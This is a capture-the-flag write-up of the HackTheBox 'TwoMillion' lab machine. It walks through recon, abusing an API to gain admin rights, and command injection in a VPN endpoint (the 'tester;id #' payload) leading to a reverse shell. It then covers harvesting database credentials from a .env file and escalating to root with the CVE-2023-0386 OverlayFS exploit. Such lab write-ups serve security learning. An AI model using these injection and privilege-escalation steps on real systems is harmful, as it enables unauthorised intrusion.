Introduction #
TwoMillion starts with a website that looks like the original HackTheBox platform. To register I must first get an invite code from API. Once registered, I enumerate the API endpoints and find one that allows me to change my user to an administrator and use command injection in another admin endpoint. I will find database credentials to move to the next user, and a kernel exploit to get root.
nmap #
nmap finds two open ports:
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.39.151
-sCfor defaults scripts-sVenumerate version-vvdouble verbose-oAoutput in all formats
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
| 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open http syn-ack ttl 63 nginx
|_http-title: Did not follow redirect to http://2million.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add 2million.htb to /etc/hosts
Website - TCP 80 #
The looks like the original HackTheBox platform:

There is a login form at /login with “forgot password” leading back to /login - ? possible user enumeration ? - wrong user shows User not found

I don’t have credentials, so nothing here for now.

Next, there is an invite form at /invite - wrong code gives popup with “Invalid invite code. Please try again.”


Subdomain enum #
As I have the domain name, I will try to find any available subdomains of 2million.htb:
ββ$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://2million.htb/ -H 'Host: FUZZ.2million.htb' -fs 162
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://2million.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Header : Host: FUZZ.2million.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 162
________________________________________________
:: Progress: [220561/220561] :: Job [1/1] :: 1379 req/sec :: Duration: [0:04:02] :: Errors: 0 ::
Found nothing.
Directory brute-force #
ββ$ feroxbuster -u http://2million.htb --dont-extract-links
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher π€ ver: 2.11.0
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
π― Target Url β http://2million.htb
π Threads β 50
π Wordlist β /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
π Status Codes β All Status Codes!
π₯ Timeout (secs) β 7
𦑠User-Agent β feroxbuster/2.11.0
π Config File β /etc/feroxbuster/ferox-config.toml
π HTTP methods β [GET]
π Recursion Depth β 4
π New Version Available β https://github.com/epi052/feroxbuster/releases/latest
ββββββββββββββββββββββββββββ΄ββββββββββββββββββββββ
π Press [ENTER] to use the Scan Management Menuβ’
ββββββββββββββββββββββββββββββββββββββββββββββββββ
301 GET 7l 11w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 1242l 3326w 64952c http://2million.htb/
302 GET 0l 0w 0c http://2million.htb/logout => http://2million.htb/
200 GET 80l 232w 3704c http://2million.htb/login
200 GET 94l 293w 4527c http://2million.htb/register
401 GET 0l 0w 0c http://2million.htb/api
302 GET 0l 0w 0c http://2million.htb/home => http://2million.htb/
200 GET 46l 152w 1674c http://2million.htb/404
200 GET 96l 285w 3859c http://2million.htb/invite
500 GET 7l 13w 170c http://2million.htb/images/rhein-main
500 GET 7l 13w 170c http://2million.htb/userguide
500 GET 7l 13w 170c http://2million.htb/css/berichte
Found /register, but it still needs an invite code.

Invite page #
Looking at source code of the page there is reference to a script at /js/inviteapi.min.js:

Visiting it (http://2million.htb/js/inviteapi.min.js) gives me the minified code:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))
I attempted to put it in Prettier but it did not change much, the most interesting part remained the same in both versions: verifyInviteCode and makeInviteCode functions.
Back at http://2million.htb/invite I can go to console and look for makeInviteCode (Firefox: F12 -> Console), it autocompletes and gives me some hints:

Object { 0: 200, success: 1, data: {β¦}, hint: "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..." }
0: 200
data: Object { data: "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr", enctype: "ROT13" }
data: "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr"
enctype: "ROT13"
Ok, so I have encrypted string and ROT13, start CyberChef and extract the original:

In order to generate the invite code, make a POST request to /api/v1/invite/generate
That is pretty clear, let’s do that:
ββ$ curl -X POST http://2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"OVlRNzYtSjNCRFItR09RNlUtVTc5NUQ=","format":"encoded"}}
One quick curl and there is an invite code. It’s base64 encoded for 9YQ76-J3BDR-GOQ6U-U795D which is the real invite code.
After putting it in the form at /invite I am redirected to /register

Website - login #
And I can log in:

First thing that hits me is the announcement: Important Announcement: We are currently performing database migrations. For this reason some of the website’s features will be unavailable. We apologize for the inconvenience.
Pretty much the only thing that works is the Access tab:

Clicking the Connection Pack downloads an .ovpn file, when intercepted I get this:

It sends a GET request toΒ /api/v1/user/vpn/generate (the regenerate button to /api/v1/user/vpn/regenerate).
Shell as www-data #
I tried to send requests to various modifications to the intercepted path:
The /api returned this:

And the `/api/v1 this:

{"v1":
{"user":
{"GET":
{"\/api\/v1":"Route List",
"\/api\/v1\/invite\/how\/to\/generate":"Instructions on invite code generation",
"\/api\/v1\/invite\/generate":"Generate invite code",
"\/api\/v1\/invite\/verify":"Verify invite code",
"\/api\/v1\/user\/auth":"Check if user is authenticated",
"\/api\/v1\/user\/vpn\/generate":"Generate a new VPN configuration",
"\/api\/v1\/user\/vpn\/regenerate":"Regenerate VPN configuration",
"\/api\/v1\/user\/vpn\/download":"Download OVPN file"
},
"POST":
{"\/api\/v1\/user\/register":"Register a new user",
"\/api\/v1\/user\/login":"Login with existing user"}},
admin":
{"GET":
{"\/api\/v1\/admin\/auth":"Check if user is admin"},
"POST":
{"\/api\/v1\/admin\/vpn\/generate":"Generate VPN for specific user"},
"PUT":
{"\/api\/v1\/admin\/settings\/update":"Update user settings"}
}}}
It looks like a full API route list.
Looking at the “admin” section, I can check if I am one:

I am not …..
But I can also “Update user settings” via the PUT request

I get a “Invalid content type.” message, but that is not important, what I am looking at is the HTTP/1.1 200 OK response. It means that I can, likely, make changes I only need to get the correct Content-Type header and name of the parameters I want to change.
The correct Content-Type will most likely be application/json as I will try to modify some database fields:

And it is. There is required parameter: email
I use the one I registered with:

And the response gives me the name of the next parameter, is_admin. I can simply add "is_admin": true to the json and become admin:

And the response gives me the name of the next parameter, is_admin. I can simply add "is_admin": 1 to the json and become admin:

Now that I am admin:

I can try the /api/v1/admin/vpn/generate

I get HTTP/1.1 200 OK - I am indeed admin - and need to add parameter username:

It works and I get a VPN key.
Now for the fun part, what next?
Every time I see parameters in some POST request I think of command injection.
To think of correct one to use … site is PHP, OS is Linux, how would I generate a VPN key?
I don’t know PHP that well, so let’s hope there is some bash script that takes the username parameter value as input.
If so, I can end the original command by adding ; at the end and starting new command, for example id. To comment out any remaining parameters or anything else I will end the whole thing with #.
So, the result is: "username": "tester;id #"

It works and I get standard output of id: uid=33(www-data) gid=33(www-data) groups=33(www-data).
Now I can replace id with a reverse shell, start a listener an get a shell:

ββ$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.129] from (UNKNOWN) [10.129.39.151] 50174
bash: cannot set terminal process group (1101): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@2million:~/html$
Shell as Admin #
I start in /var/www/html folder:
www-data@2million:~/html$ ls -la
ls -la
total 56
drwxr-xr-x 10 root root 4096 Jan 13 10:50 .
drwxr-xr-x 3 root root 4096 Jun 6 2023 ..
-rw-r--r-- 1 root root 87 Jun 2 2023 .env
-rw-r--r-- 1 root root 1237 Jun 2 2023 Database.php
-rw-r--r-- 1 root root 2787 Jun 2 2023 Router.php
drwxr-xr-x 5 root root 4096 Jan 13 10:50 VPN
drwxr-xr-x 2 root root 4096 Jun 6 2023 assets
drwxr-xr-x 2 root root 4096 Jun 6 2023 controllers
drwxr-xr-x 5 root root 4096 Jun 6 2023 css
drwxr-xr-x 2 root root 4096 Jun 6 2023 fonts
drwxr-xr-x 2 root root 4096 Jun 6 2023 images
-rw-r--r-- 1 root root 2692 Jun 2 2023 index.php
drwxr-xr-x 3 root root 4096 Jun 6 2023 js
drwxr-xr-x 2 root root 4096 Jun 6 2023 views
There are few interesting files, the index.php defines some routes and stuff, and points the next file, .env that should contain variables, like username and password:
www-data@2million:~/html$ cat index.php
cat index.php
<?php
<SNIP>
$envFile = file('.env');
<SNIP>
$dbHost = $envVariables['DB_HOST'];
$dbName = $envVariables['DB_DATABASE'];
$dbUser = $envVariables['DB_USERNAME'];
$dbPass = $envVariables['DB_PASSWORD'];
<SNIP>
And it does:
www-data@2million:~/html$ cat .env
cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
These credentials work both for su admin and ssh:
ββ$ ssh admin@10.129.39.151
<SNIP>
You have mail.
Last login: Tue Jun 6 12:43:11 2023 from 10.10.14.6
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
admin@2million:~$
Root #
When logging in using ssh there is message:
You have mail.
Ok, I have mail, let’s check it. Go to /var/mail and read it:
admin@2million:/var/mail$ cat admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB Godfather
CVE-2023-0386 #
Ok, quick Google search for OverlayFS CVE points to to CVE-2023-0386
There is PoC at here
Download the repo and copy it to the host:
ββ$ scp CVE-2023-0386.zip admin@10.129.39.151:/dev/shm/CVE-2023-0386.zip
admin@10.129.39.151's password:
CVE-2023-0386-main.zip 100% 11KB 544.4KB/s 00:00
I need to start two shells on 2million, that is not an issue with ssh access. I’ll unzip the PoC, and run make all, following the instructions:
admin@2million:/dev/shm$ unzip CVE-2023-0386.zip
Archive: CVE-2023-0386.zip
c4c65cefca1365c807c397e953d048506f3de195
creating: CVE-2023-0386/
<SNIP>
admin@2million:/dev/shm$ cd CVE-2023-0386/
admin@2million:/dev/shm/CVE-2023-0386$ make all
gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl
fuse.c: In function βread_buf_callbackβ:
fuse.c:106:21: warning: format β%dβ expects argument of type βintβ, but argument 2 has type βoff_tβ {aka βlong intβ} [-Wformat=]
106 | printf("offset %d\n", off);
| ~^ ~~~
<SNIP>
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/11/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common':
(.text+0xaf4e): warning: Using 'dlopen' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
gcc -o exp exp.c -lcap
gcc -o gc getshell.c
There are some errors, but in the end I have three new binaries:
admin@2million:/dev/shm/CVE-2023-0386$ ls
exp exp.c fuse fuse.c gc getshell.c Makefile ovlcap README.md test
In the first session, I run the first command from the instructions:
admin@2million:/dev/shm/CVE-2023-0386-main$ ./fuse ./ovlcap/lower ./gc
[+] len of gc: 0x3ee0
And in the other window, I run the exploit:
admin@2million:/dev/shm/CVE-2023-0386$ ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root root 4096 Jun 2 23:11 .
drwxrwxr-x 6 root root 4096 Jun 2 23:11 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan 1 1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@2million:/dev/shm/CVE-2023-0386#
And I get a root shell.
Now just grab the flag and it is done!